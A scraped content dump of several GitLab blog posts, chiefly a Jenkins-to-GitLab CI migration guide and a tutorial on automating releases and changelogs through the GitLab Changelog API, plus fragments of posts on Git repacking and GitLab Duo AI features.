gitlab-org and gitlab-com groups | ~0.7-1.0 hours/hour | 0.12-0.15 hours/hour | -80%   |\n\nWe have heard of other customers that saw similar improvements in highly active large monorepositories.\n\n## Manually enable geometric repacking\n\nWhile the new geometric repacking strategy has been default-enabled starting with GitLab 16.0, it was introduced with GitLab 15.11. If you want to use the\nnew geometric repacking mode, you can opt in by setting the\n`gitaly_geometric_repacking` feature flag. You can do so via the `gitlab-rails`\nconsole:\n\n```\nFeature.enable(:gitaly_geometric_repacking)\n```\n",[1067,6962,1268,815],{"slug":7940,"featured":6,"template":678},"rearchitecting-git-object-database-mainentance-for-scale","content:en-us:blog:rearchitecting-git-object-database-mainentance-for-scale.yml","Rearchitecting Git Object Database Mainentance For Scale","en-us/blog/rearchitecting-git-object-database-mainentance-for-scale.yml","en-us/blog/rearchitecting-git-object-database-mainentance-for-scale",{"_path":7946,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7947,"content":7952,"config":7957,"_id":7959,"_type":16,"title":7960,"_source":17,"_file":7961,"_stem":7962,"_extension":20},"/en-us/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment",{"title":7948,"description":7949,"ogTitle":7948,"ogDescription":7949,"noIndex":6,"ogImage":831,"ogUrl":7950,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7950,"schema":7951},"Jenkins to GitLab: The ultimate guide to modernizing your CI/CD environment","Learn how to migrate from Jenkins to the integrated CI/CD of the GitLab DevSecOps Platform to deliver high-quality software rapidly.","https://about.gitlab.com/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Jenkins to GitLab: The ultimate guide to modernizing your CI/CD environment\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2023-11-01\",\n      }",{"title":7948,"description":7949,"authors":7953,"heroImage":831,"date":7954,"body":7955,"category":962,"tags":7956},[691],"2023-11-01","\nIn today's dynamic landscape of software development, certain requirements have become paramount for delivering high-quality software rapidly. These requirements include the need for cloud compatibility, faster development cycles, improved collaboration, containerization, enhanced development experiences, and the integration of AI-driven capabilities for better efficiency and speed. Jenkins, a longstanding and respected continuous integration (CI) tool, has admirably played a role in many teams' software development for years. However, as more teams adopt DevOps/DevSecOps strategies for their software delivery, leveraging the integrated CI that is available in a DevSecOps platform like GitLab can provide benefits that Jenkins does not. \n\nSome organizations find themselves hesitating to migrate, not because they doubt the benefits of a top-tier [CI/CD](https://about.gitlab.com/topics/ci-cd/) solution such as GitLab, but due to the complexities of their existing Jenkins implementations. It's understandable that such a transition can seem daunting. \n\nIn this blog, you'll find several migration strategies to help transition from Jenkins to GitLab and make the process smoother and more manageable.\n\n## Migrating to GitLab\nIt's become evident that for organizations seeking a CI/CD solution that can seamlessly support their evolving demands, GitLab emerges as a powerful game-changer. Let's explore why transitioning to this advanced platform is transformative for Jenkins users.\n\n### Why migrate to GitLab \nBefore we delve into the migration approaches, let's take a moment to understand GitLab CI and what makes it a compelling choice for modern CI/CD needs.\n\n> Try GitLab CI/CD today with [a free trial of Ultimate](https://gitlab.com/-/trials/new).\n\n### GitLab CI overview\nGitLab CI is an integral part of the GitLab [AI-powered](https://about.gitlab.com/gitlab-duo/) DevSecOps Platform, which offers a comprehensive and unified solution for DevSecOps and CI/CD. GitLab's design revolves around streamlining development workflows, fostering collaboration, enhancing security, and ensuring scalability.\n\n### Key features of GitLab CI\nThese are the key features of GitLab CI:\n- **Unified platform:** GitLab CI is more than just a CI/CD tool; it's part of a broader ecosystem that includes source code management, project management, security features, analytics and more. This unified platform streamlines workflows and enhances collaboration among development teams.\n- **Containerization and orchestration:** GitLab CI/CD is designed with containerization in mind, offering native support for Docker and Kubernetes. This enables seamless integration of container technologies into your CI/CD pipelines.\n- **Security by design:** Security is a top priority, and GitLab CI incorporates features such as static code analysis and vulnerability scanning to help teams identify and address security issues early in the development process.\n- **GitOps principles:** GitLab CI aligns with [GitOps principles](https://about.gitlab.com/blog/the-ultimate-guide-to-gitops-with-gitlab/), emphasizing version-controlled, declarative configurations for infrastructure and application deployments. This approach enhances the reliability and repeatability of deployments.\n\nGet familiar with GitLab CI with this tutorial:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/WKR-7clknsA?si=T21Fe10Oa0rQ0SGB\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nWith that understanding of GitLab CI's capabilities, let's explore the migration steps and strategies for Jenkins users looking to leverage the benefits of GitLab CI.\n\n## A recommended step-by-step Jenkins-to-GitLab CI migration\nWhen considering a migration from Jenkins to GitLab CI, we strongly recommend following a well-structured, step-by-step approach to ensure a seamless transition. Here's our recommended process:\n1. **Pipeline assessment:** Start by conducting a comprehensive inventory of all your existing pipelines in Jenkins. This initial step will help you gain a clear understanding of the scope and complexity of the migration.\n2. **Parallel migration:** Begin the migration process by selecting individual pipelines and moving them to GitLab CI one at a time. Continue to maintain the use of Jenkins for your ongoing work during this transition to minimize disruptions.\n3. **Code verification:** We advise beginning with verification checks in CI. Run both the Jenkins and GitLab CI pipelines in parallel. This dual approach allows you to directly compare the two workflows and identify any issues in the new GitLab workflows. During this phase, keep the GitLab workflow as an optional choice while Jenkins remains required.\n4. **Continuous validation:** After running both pipelines in parallel for a full iteration, thoroughly evaluate the outcomes from each pipeline. This evaluation should consider various factors, including status codes, logs, and performance. \n5. **GitLab CI transition:** As you gain confidence in the reliability and effectiveness of GitLab CI through the parallel runs, make the transition to the GitLab CI workflow as the required standard while Jenkins continues to operate in the background.\n6. **Jenkins phaseout:** After a second iteration, when you are confident in the performance and stability of GitLab CI, you can begin to remove the Jenkins job from your code verification pipeline. This successful transition will enable you to retire Jenkins from this particular aspect of your CI/CD process.\n\nThis recommended approach ensures that your migration is a gradual evolution, allowing you to identify and address any issues or discrepancies before fully committing to GitLab CI. Running Jenkins and GitLab CI pipelines in parallel provides valuable insights and ensures the effective streamlining of your CI/CD processes.\n\n## Preparing for migration: Training and communication\nTo ensure a smooth and successful migration from Jenkins to GitLab CI, follow these essential steps:\n- **Stakeholder communication:** Start by announcing your migration plans and timelines to all relevant stakeholders. This includes DevOps teams, developers, and QA engineers. Transparency in communication is crucial to ensure that everyone understands the objectives and expectations of the migration.\n- **Knowledge-level training:** Conduct knowledge-level training sessions for your teams to promote GitLab CI adoption.\nCover topics such as using GitLab CI, understanding the YAML syntax, and how to create a basic pipeline.\nProvide team members with the knowledge and skills necessary to navigate the new GitLab CI environment effectively.\n- **Hands-on learning:** Encourage hands-on learning by pairing up developers.\nCreate opportunities for them to learn from each other's experiences throughout the migration process.\n\nBy following these instructions for training and communication, you'll build a strong foundation for a successful migration, empowering your teams to adapt and thrive in the new environment.\n\n## 3 Jenkins-to-GitLab CI migration strategies\nThere are different strategies to consider. These three strategies offer flexibility, allowing organizations to choose the path that best aligns with their specific needs and resources. Let's explore these strategies in detail to help you make an informed decision about which one suits your organization best.\n\n### Migration Strategy 1: Using GitLab CI for new projects\nThe first migration strategy involves a gradual transition. While you maintain your existing Jenkins infrastructure for ongoing projects, you introduce GitLab CI for new projects. This approach allows you to harness the modern features of GitLab CI without disrupting your current work.\n\n#### Benefits of Migration Strategy 1\nThe benefits of this approach include the following:\n- New projects can leverage GitLab CI's advanced features right from the start. \n- This strategy minimizes the risk of disrupting existing workflows, as your existing Jenkins setup remains intact.\n- Your team can gradually adapt to GitLab CI, building confidence and expertise without the pressure of an immediate full-scale migration.\n\n#### Challenges of Migration Strategy 1\nThe challenges of this approach include the following:\n- Operating two CI/CD platforms simultaneously can introduce complexity, especially in terms of integration and team collaboration.\n- Managing projects on different platforms may require careful coordination to ensure consistency in processes and security practices.\n\nThis strategy offers a smooth and manageable transition by allowing you to harness GitLab CI's strengths for new projects, while your existing Jenkins infrastructure continues to support ongoing work.\n\n### Migration Strategy 2: Migrating only strategic projects\nIn this strategy, you identify specific projects within your organization that stand to benefit the most from the capabilities of GitLab CI. Instead of preparing for a wholesale migration, you start by focusing your efforts on migrating these strategically selected projects first.\n\n#### Benefits of Migration Strategy 2\nThe benefits of this approach include the following:\n- By concentrating on key projects, you can realize significant improvements in those areas where GitLab CI aligns with specific needs.\n- This approach reduces the complexity of migrating everything at once, minimizing the potential for disruptions.\n- You can gradually build confidence with GitLab CI and its benefits before considering further migrations.\n\n#### Challenges of Migration Strategy 2\nThe challenges of this approach include the following:\n- Even though you're not migrating all projects, the chosen projects' migration can still be intricate and require careful planning.\n- Ensuring seamless collaboration between projects on different platforms may require additional attention.\n\nThis strategy allows you to maximize the impact of GitLab CI by focusing on strategic areas, minimizing risk, and gradually gaining experience with the new tool.\n\n### Migration Strategy 3: Migrating everything\nThe third strategy is a comprehensive migration where you commit to moving all your CI/CD processes, projects, and workflows to GitLab CI. This approach aims for uniformity and simplification of CI/CD across all projects. This strategy can benefit from taking an iterative approach. Consider starting with new projects, followed by migrating strategic projects, and then leverage your growing knowledge and experience with GitLab CI to complete the migration of remaining projects. \n\n#### Benefits of Migration Strategy 3\nThe benefits of this approach include the following:\n- Uniform CI/CD processes across all projects can streamline administration and maintenance, reducing complexity.\n- You can take full advantage of GitLab CI's modern capabilities, from Infrastructure as Code to enhanced security features.\n- As your projects grow, GitLab CI is designed to handle increased demands, ensuring long-term scalability.\n\n#### Challenges of Migration Strategy 3\nThe challenges of this approach include the following:\n- A full-scale migration can be intricate, requiring meticulous planning and implementation.\n- The transition may disrupt ongoing projects and require a significant time investment.\n- Investment in training and potential tool migration expenses should be considered.\n\nOpt for this approach if uniformity and consolidation of CI/CD processes are a high priority, and you have the resources to execute a full migration.\n\nThe migration strategy you select should align with your organization's specific needs and circumstances. In all cases, the ultimate goal is to enhance your development process with modern CI/CD tools like GitLab CI, which offers scalability, infrastructure automation, security, and collaboration features that align with today's development needs.\n\n## Technical insights: How the migration works\nMoving your CI/CD workflows from Jenkins to GitLab CI is a transformative journey, and understanding how it works is vital for a successful transition.\n\n### Understanding the configurations: Jenkinsfile vs. .gitlab-ci.yml\nThe heart of your CI/CD pipeline lies in the configurations defined in your Jenkinsfile (for Jenkins) and .gitlab-ci.yml (for GitLab CI). While there are some similarities between these configuration files, there are notable differences as well.\n\n#### Similarities\n- Both files define the stages, jobs, and steps of your CI/CD process.\n- You specify the desired build, test, and deployment steps in both files.\n- Environment variables and settings can be configured in either file.\n\n#### Differences\n- Jenkinsfile uses Groovy for scripting, while .gitlab-ci.yml uses YAML. This change in language affects the way you write and structure your configurations.\n- The process of defining pipelines is more intuitive in .gitlab-ci.yml, with a cleaner, more human-readable syntax.\n- GitLab CI provides a wide range of built-in templates and predefined jobs, simplifying configuration and reducing the need for custom scripting.\n\n### Manually converting the pipeline configuration\nCurrently, migrating your existing Jenkins pipelines to GitLab CI is typically done manually. This means analyzing your Jenkinsfile and re-creating the equivalent configurations in .gitlab-ci.yml. While there are similarities in the concepts and structure, the differences in syntax and the specific capabilities of each platform require careful consideration during the migration.\n\n## Strategic planning for a smooth transition\nMigrating from Jenkins to GitLab CI requires meticulous planning to ensure a seamless transition. It's crucial to assess the disparities between the two systems and evaluate their impact on your workflow, considering aspects like security, cost, time, and capacity.\n\nOnce you've identified these differences and devised your migration strategy, break down the migration into key steps. These include setting up GitLab CI pipelines, securely transferring data from Jenkins to GitLab CI, and integrating GitLab CI into your existing tools and processes. \n\n## Case study: A seamless transition for Lockheed Martin\nLet's look at a real-world case study to illustrate the effectiveness of the \"Migrate Everything\" strategy. [Lockheed Martin](https://about.gitlab.com/customers/lockheed-martin/), the world’s largest defense contractor, had been using Jenkins for several years. As their project portfolio expanded, they realized that their Jenkins implementation with a wide variety of DevOps tools was becoming increasingly complex to manage. They were also eager to adopt modern CI/CD capabilities that Jenkins struggled to provide.\n\nIn collaboration with GitLab, Lockheed Martin decided to undertake a comprehensive migration to GitLab CI. Their goals included achieving consistency in their CI/CD processes, simplifying administration and maintenance, and taking full advantage of The GitLab Platform’s robust features.\n\nThe comprehensive migration strategy proved to be a resounding success for Lockheed Martin. With GitLab CI, they not only streamlined their CI/CD processes but achieved remarkable results. **They managed to run CI pipeline builds a staggering 80 times faster, retired thousands of Jenkins servers, and reduced the time spent on system maintenance by a staggering 90%. This monumental shift resulted in a significant increase in efficiency and productivity for Lockheed Martin.**\n\nThis case study showcases how a comprehensive migration strategy can be effective for organizations looking to leverage GitLab capabilities across all their projects.\n\nFor more in-depth insights into Lockheed Martin's successful transition to GitLab and how it streamlined their software development processes, check out [the detailed case study](https://about.gitlab.com/customers/lockheed-martin/).\n\n## GitLab documentation and support\nFor those embarking on this migration journey, GitLab offers documentation to guide you through the process. You can find valuable resources in GitLab's [official documentation](https://docs.gitlab.com/ee/ci/migration/jenkins.html).\n\nIn addition to documentation, GitLab's Professional Services team is available to assist organizations in their migrations. They bring expertise and experience to ensure a smooth transition. Whether it's understanding the nuances of Jenkinsfile to .gitlab-ci.yml conversion or optimizing your CI/CD workflows, their support can be invaluable.\n\n> Try GitLab CI/CD today with [a free trial of Ultimate](https://gitlab.com/-/trials/new).\n",[696,277,790,232,943,4103],{"slug":7958,"featured":6,"template":678},"jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment","content:en-us:blog:jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment.yml","Jenkins Gitlab Ultimate Guide To Modernizing Cicd Environment","en-us/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment.yml","en-us/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment",{"_path":7964,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7965,"content":7970,"config":7975,"_id":7977,"_type":16,"title":7978,"_source":17,"_file":7979,"_stem":7980,"_extension":20},"/en-us/blog/tutorial-automated-release-and-release-notes-with-gitlab",{"title":7966,"description":7967,"ogTitle":7966,"ogDescription":7967,"noIndex":6,"ogImage":959,"ogUrl":7968,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7968,"schema":7969},"Tutorial: Automate releases and release notes with GitLab","With the GitLab Changelog API, you can automate the generation of release artifacts, release notes, and a comprehensive changelog detailing all user-centric software modifications.","https://about.gitlab.com/blog/tutorial-automated-release-and-release-notes-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Automate releases and release notes with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ben Ridley\"}],\n        \"datePublished\": \"2023-11-01\",\n      }",{"title":7966,"description":7967,"authors":7971,"heroImage":959,"date":7954,"body":7973,"category":695,"tags":7974,"updatedDate":1245},[7972],"Ben Ridley","***2025 update** - The Changelog API has continued to evolve and now has some great new capabilities we don’t cover in this blog, such as the ability to provide custom changelogs with templated values from your commit history. [Discover more in the official Changelogs docs.](https://docs.gitlab.com/user/project/changelogs/)*\n\nWhen you develop software that users rely on, effective communication about changes with each release is essential. By keeping users informed about new features and any modifications or removals, you ensure they maximize the software's benefits and avoid encountering unpleasant surprises during upgrades.\n\nHistorically, creating release notes and maintaining a changelog has been a laborious task, requiring developers to monitor changes externally or release managers to sift through merge histories. With the GitLab Changelog API, you can use the rich history provided in our git repository to easily create release notes and maintain a changelog.\n\nIn this tutorial, we'll delve into automating releases with GitLab, covering the generation of release artifacts, release notes, and a comprehensive changelog detailing all user-centric software modifications.\n\n## Releases in GitLab\nFirst, let's explore how releases work in GitLab.\n\nIn GitLab, a release is a specific version of your code, identified by a git tag, that includes details about changes since the last release (and release notes) and any related artifacts built from that version of the code, such as Docker images, installation packages, and documentation.\n\nYou can create and track releases in GitLab using the UI by calling our Release API or by defining a special `release` job inside a CI pipeline. In this tutorial, we'll use the `release` job in a CI/CD pipeline, which allows us to extend the automation we're using in our pipelines for testing, code scanning, etc. to also perform automated releases.\n\nTo automate our releases, we first need to answer this question: Where are we going to get the information on changes made for our release notes and our changelog? The answer: Our git repository, which provides us with a rich history of development activity through commit messages and merge commit history. Let's see if we can leverage this rich history to automatically create our notes and changelogs.\n\n## Introducing commit trailers\n[Commit trailers](https://git-scm.com/docs/git-interpret-trailers) are structured entries in your git commits, created by adding simple `\u003CHEADER>:\u003CBODY>` format messages to the end of your commit. The `git` CLI tool can then parse and extract these for use in other systems. An example you might have already used is `git commit --sign-off` to sign off on a commit. This is implemented by adding a `Signed-off-by: \u003CYour Name>` trailer to the commit. We can add any arbitrary structured data here, which makes it a great place to store information that could be useful for our changelog.\n\nIn fact, if we use a `Changelog: \u003Cadded/changed/removed>` trailer in our commits, the GitLab Changelog API will parse these and use them to create a changelog for us automatically!\n\nLet's see this in action by making some changes to a real codebase and performing a release, and generating release notes and changelog entries.\n\n## Our example project\nFor the purposes of this blog, I'm using a simple Python web app repository. Let's pretend Version 1.0.0 of the application was just released and is the current version of the code. I've also created a 1.0.0 release in GitLab, which I did manually because we haven't created our automated release pipeline yet:\n\n![A screenshot of the GitLab UI showing a release for Version 1.0.0](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/1-0-release.png)\n\n## Making our changes\nWe're in rapid development mode, so we're going to be working on releasing Version 2.0.0 of our application today. As part of our 2.0.0 release, we're going to be adding a new feature to our app: A chatbot! And we're also going to be removing the quantum blockchain feature, because we only needed that for our first venture capital funding round. Also, we're going to be adding an automated release job to our CI/CD pipeline for our 2.0.0 release.\n\nFirst, let's remove unneeded features. I've created a merge request that contains the necessary removals. Importantly, we need to ensure we have a commit message that includes the `Changelog: removed` trailer. There's a few ways to do this, such as including it directly in a commit, or performing an interactive rebase and adding it using the CLI. But I think the easiest way in our situation is to leave it until the end and then use the `Edit commit message` button in GitLab to add the trailer to the merge commit like so:\n\n![A screenshot the GitLab UI showing a merge request removing unused features](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/remove-unused-features-mr.png)\n\nIf you use this method, you can also change the merge commit title to something more succinct. I've changed the title of my merge commit to 'Remove Unused Features', as this is what will appear in the changelog entry.\n\nNext, let's add some new functionality for the 2.0.0 release. Again, all we need to do is open another merge request that includes our new features and then edit the merge commit to include the `Changelog: added` trailer and edit the commit title to be more succinct:\n\n![A screenshot of the GitLab UI showing a merge request to add new functionality](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/add-chatbot-mr.png)\n\nNow we're pretty much ready to release 2.0.0. But we don't want to create our release manually this time. So before our release we're going to add some jobs to our `.gitlab-ci.yml` file that will perform the release for us automatically, and generate the respective release notes and changelog entries, when we tag our code with a new version like `2.0.0`.\n\n**Note:** If you want to enforce changelog trailers, consider using something like [Danger to perform automated checks for MR conventions](https://docs.gitlab.com/ee/development/dangerbot.html).\n\n## Building an automated release pipeline\nFor our pipeline to work, we need to create a project access token that will allow us to call GitLab's API to generate changelog entries. [Create a project access token with the API scope](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#create-a-project-access-token), and then [store the token as a CI/CD variable](https://docs.gitlab.com/ee/ci/variables/#define-a-cicd-variable-in-the-ui) called `CI_API_TOKEN`. We'll reference this variable to authenticate to the API.\n\nNext, we're going to add two new jobs to our `gitlab-ci.yml` file:\n```yaml\nprepare_job:\n  stage: prepare\n  image: alpine:latest\n  rules:\n  - if: '$CI_COMMIT_TAG =~ /^v?\\d+\\.\\d+\\.\\d+$/'\n  script:\n    - apk add curl jq\n    - 'curl -H \"PRIVATE-TOKEN: $CI_API_TOKEN\" \"$CI_API_V4_URL/projects/$CI_PROJECT_ID/repository/changelog?version=$CI_COMMIT_TAG\" | jq -r .notes > release_notes.md'\n  artifacts:\n    paths:\n    - release_notes.md\n\nrelease_job:\n  stage: release\n  image: registry.gitlab.com/gitlab-org/release-cli:latest\n  needs:\n    - job: prepare_job\n      artifacts: true\n  rules:\n  - if: '$CI_COMMIT_TAG =~ /^v?\\d+\\.\\d+\\.\\d+$/'\n  script:\n    - echo \"Creating release\"\n  release:\n    name: 'Release $CI_COMMIT_TAG'\n    description: release_notes.md\n    tag_name: '$CI_COMMIT_TAG'\n    ref: '$CI_COMMIT_SHA'\n    assets:\n      links:\n        - name: 'Container Image $CI_COMMIT_TAG'\n          url: \"https://$CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA\"\n```\n\nIn the above configuration, the `prepare_job` uses `curl` and `jq` to call the GitLab Changelog API endpoint and then passes this to our `release_job` to actually create the release. To break it down further:\n- We use the project access token created earlier to call the GitLab Changelog API, which performs the generation of the release notes and we store this as an artifact.\n- We're using the `$CI_COMMIT_TAG` variable as the version. For this to work, we need to be using semantic versioning for our tags (something like `2.0.0` for example), so you'll notice I've also restricted the release job using a `rules` section that checks for a semantic version tag.\n\t- Semantic versioning is required for the GitLab Changelog API to work. It uses this format to find the most recent release to compare to our current release.\n- We use the official `release-cli` image from GitLab. The release-cli is required to use the `release` keyword in a job.\n- We use the `release` keyword to create a release in GitLab. This is a special job keyword reserved for creating a release and populating the required fields.\n- We can pass a file as an argument to the `description` of the release. In our case, it's the file we generated in the `prepare_job`, which was passed to this job as an artifact.\n- We've also included our container image that is being built earlier in the pipeline as a release asset. You can attach any assets you'd like from your build process, such as binaries or documentation by providing a URL to wherever you've uploaded them earlier in the pipeline.\n\n## Performing an automated release\nWith this setup, all we need to do to perform a release is push a tag to our repository that follows our versioning scheme. You can simply push a tag using the CLI, this example uses GitLab's UI to create a tag on the main branch. Create a tag by selecting Code -> Tags -> New Tag on the sidebar:\n![A screenshot of the GitLab UI illustrating how to create a tag](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/create-2-tag.png)\n\nOn creation, our pipelines will start to execute. The GitLab Changelog API will automatically generate release notes for us as markdown, which contains all the changes between this release and the previous release. Here's the resulting markdown generated in our example:\n\n```md\n## 2.0.0 (2023-08-25)\n\n### added (1 change)\n\n- [Add ChatBot](gl-demo-ultimate-bridley/super-devsecops-incorporated/simply-notes-release-demo@0c3601a45af617c5481322bfce4d71db1f911b02) ([merge request](gl-demo-ultimate-bridley/super-devsecops-incorporated/simply-notes-release-demo!4))\n\n### removed (1 change)\n\n- [Remove Unused Features](gl-demo-ultimate-bridley/super-devsecops-incorporated/simply-notes-release-demo@463d453c5ae0f4fc611ea969e5442e3298bf0d8a) ([merge request](gl-demo-ultimate-bridley/super-devsecops-incorporated/simply-notes-release-demo!3))\n```\n\nAs you can see, GitLab has extracted the entries for our release notes automatically using our git commit trailers. In addition, it's helpfully provided links back to the merge request so readers can see more details and discussion around the changes.\n\nAnd now, our final release:\n![The GitLab release UI showing a release for version 2.0.0](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/2-0-release.png)\n\n## Creating the changelog\nNext, we want to update our changelog (which is basically a collated history of all your release notes). You can use a `POST` request to the changelog API endpoint we used earlier to do this.\n\nYou can do this as part of your release pipeline if you like, for example by adding this to the `script` section of your prepare job:\n```sh\n'curl -H \"PRIVATE-TOKEN: $CI_API_TOKEN\" -X POST \"$CI_API_V4_URL/projects/$CI_PROJECT_ID/repository/changelog?version=$CI_COMMIT_TAG\"\n```\n\n**Note that this will actually modify the repository.** It will create a commit to add the latest notes to a `CHANGELOG.md` file:\n![A screenshot of the repository which shows a commit updating the changelog file](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/changelog-api-commit.png)\n\nAnd we are done! By utilizing the rich history provided by `git` with some handy commit trailers, we can leverage GitLab's powerful API and CI/CD pipelines to automate our release process and generate release notes for us.\n\n> If you’d like to explore the project we used for this article, [you can find the project at this link](https://gitlab.com/gitlab-learn-labs/sample-projects/release-automation-demo).\n",[696,1384,110,4103,943,1067],{"slug":7976,"featured":6,"template":678},"tutorial-automated-release-and-release-notes-with-gitlab","content:en-us:blog:tutorial-automated-release-and-release-notes-with-gitlab.yml","Tutorial Automated Release And Release Notes With Gitlab","en-us/blog/tutorial-automated-release-and-release-notes-with-gitlab.yml","en-us/blog/tutorial-automated-release-and-release-notes-with-gitlab",{"_path":7982,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7983,"content":7988,"config":7994,"_id":7996,"_type":16,"title":7997,"_source":17,"_file":7998,"_stem":7999,"_extension":20},"/en-us/blog/gitlab-ai-cicd-customization-toolkit",{"title":7984,"description":7985,"ogTitle":7984,"ogDescription":7985,"noIndex":6,"ogImage":7203,"ogUrl":7986,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7986,"schema":7987},"GitLab AI, CI/CD and customization for secure scaled growth","Find out how the latest developments for the GitLab AI-powered DevSecOps Platform help organizations scale to enterprise levels.","https://about.gitlab.com/blog/gitlab-ai-cicd-customization-toolkit","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Drive secure growth at scale: Your GitLab AI, CI/CD, and customization toolkit\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mike Flouton\"}],\n        \"datePublished\": \"2023-10-31\",\n      }",{"title":7989,"description":7985,"authors":7990,"heroImage":7203,"date":7991,"body":7992,"category":791,"tags":7993},"Drive secure growth at scale: Your GitLab AI, CI/CD, and customization toolkit",[1085],"2023-10-31","\nScaling up to enterprise-level intensifies the demand for rapid, secure software delivery. Large organizations can easily fall into the trap of single-function silos, making collaboration tricky and slowing development. Over the past few months, we've introduced new capabilities for the GitLab AI-powered DevSecOps Platform to help teams address these hurdles, accelerate innovation, ensure compliance, and fortify their digital defenses.\n- [AI capabilities that reshape speed and security](#ai-capabilities-that-reshape-speed-and-security)\n- [A single, enterprise-ready DevSecOps platform](#a-single-enterprise-ready-devsecops-platform) \n- [A customizable solution that fits the way you work](#a-customizable-solution-that-fits-the-way-you-work)\n\nLet’s take a closer look at what we've been working on and how these advancements benefit growing organizations.\n\n> Bring the best practices of industry leaders to your team. Join GitLab and Nasdaq for an exciting discussion about AI, DevSecOps, and developer productivity. [Register for this webinar today!](https://page.gitlab.com/webcast-fy24q3-devsecops-ai-developer-productivity.html)\n\n## AI capabilities that reshape speed and security\nAI will transform the way organizations develop software. Our [State of AI in Software Development](https://about.gitlab.com/developer-survey/#ai) report, released earlier this year, demonstrates this: 83% of DevSecOps professionals surveyed said implementing AI in their software development processes is essential to avoid falling behind competitors. \n\n[GitLab Duo](https://about.gitlab.com/gitlab-duo/) is a powerful set of AI capabilities within GitLab’s DevSecOps Platform that helps to speed up development of code, improve operations, and secure software. Since its debut in June, we’ve been steadily expanding the suite of AI capabilities. These now extend across the entire software development lifecycle – from suggesting code, to finding and explaining vulnerabilities in code, to identifying appropriate code reviewers. As enterprises increase code generation, they can avoid potential bottlenecks, such as security checks, further downstream.\n\nFor example, we recently released our [GitLab Duo Vulnerability Explanation feature into Beta](https://about.gitlab.com/blog/remediating-vulnerabilities-with-insights-and-ai/). Typically, vulnerability discovery and mitigation would require a significant amount of back-and-forth between development and application security teams to agree on severity levels and approaches to fix the vulnerability. Vulnerability Explanation alleviates this inefficiency by summarizing detected vulnerabilities and their implications as well as providing in-depth solutions and suggested mitigation within the developer’s workflow, enabling faster resolution and creation of safer code within the development workflow. \n\n![GitLab Duo Vulnerability Explanation](https://about.gitlab.com/images/blogimages/2023-08-31-solving-vulnerabilities-with-insights-and-ai/ai_explain_this_vulnerability_results.png)\n\n\nFor even more efficiency, [GitLab Duo Code Suggestions](https://about.gitlab.com/solutions/code-suggestions/) (Beta) helps developers create new code and update existing code faster. [GitLab Duo Suggested Reviewers](https://about.gitlab.com/blog/gitlab-duo-suggested-reviewers/) (generally available to all users) helps teams make an informed decision when choosing reviewers that can meet their review criteria.\n\nLearn about [all GitLab Duo capabilities](https://about.gitlab.com/gitlab-duo/).\n\nWatch GitLab Duo capabilities in action.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/LifJdU3Qagw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\n## A single, enterprise-ready DevSecOps platform \nEnterprise needs from a software delivery platform are unique. A DevSecOps platform must support the ability to:\n- build for speed with adequate security guardrails right from the start\n- consolidate to a single platform, but still integrate with your existing solution\n- simply adopt and onboard developers, but handle the complexity of scale\n\nGitLab CI/CD is a core way for organizations to meet these requirements. As customers scale their adoption of GitLab, they run millions of CI/CD jobs on a monthly basis. With the efficiency improvements further driven by GitLab Duo, these numbers will likely increase. However, organizations will need to find efficiency opportunities throughout their development and deployment workflows to be able to handle this growth, ensuring that whatever is deploying into production meets their quality, security, and reliability standards.\n\nThe [GitLab CI/CD Component Catalog](https://about.gitlab.com/blog/introducing-ci-components/), which will soon be released into Beta, solves these problems by enabling organizations to standardize their pipelines and create building blocks in a centralized repository that can be easily discovered, reused, and shared across teams. Enterprises can develop base pipeline configurations with the proper compliance, quality, and security checks already built-in for use across their organization. \n\nHere are some more capabilities aimed at improving the enterprise platform experience:\n- The GitLab Runner ecosystem continues to expand as we've recently introduced [GitLab SaaS runners on MacOS](https://about.gitlab.com/releases/2023/09/22/gitlab-16-4-released/#macos-13-ventura-image-for-saas-runners-on-macos), [xlarge and 2xlarge SaaS Runners on Linux](https://about.gitlab.com/releases/2023/08/22/gitlab-16-3-released/#more-powerful-gitlab-saas-runners-on-linux), [increased storage on medium and large SaaS Runners on Linux](https://about.gitlab.com/releases/2023/06/22/gitlab-16-1-released/#increased-storage-for-gitlab-saas-runners-on-linux), and [GPU-enabled SaaS Runners on Linux](https://about.gitlab.com/releases/2023/05/22/gitlab-16-0-released/#gpu-enabled-saas-runners-on-linux) for supporting data science workloads.\n- GitLab Duo, which was 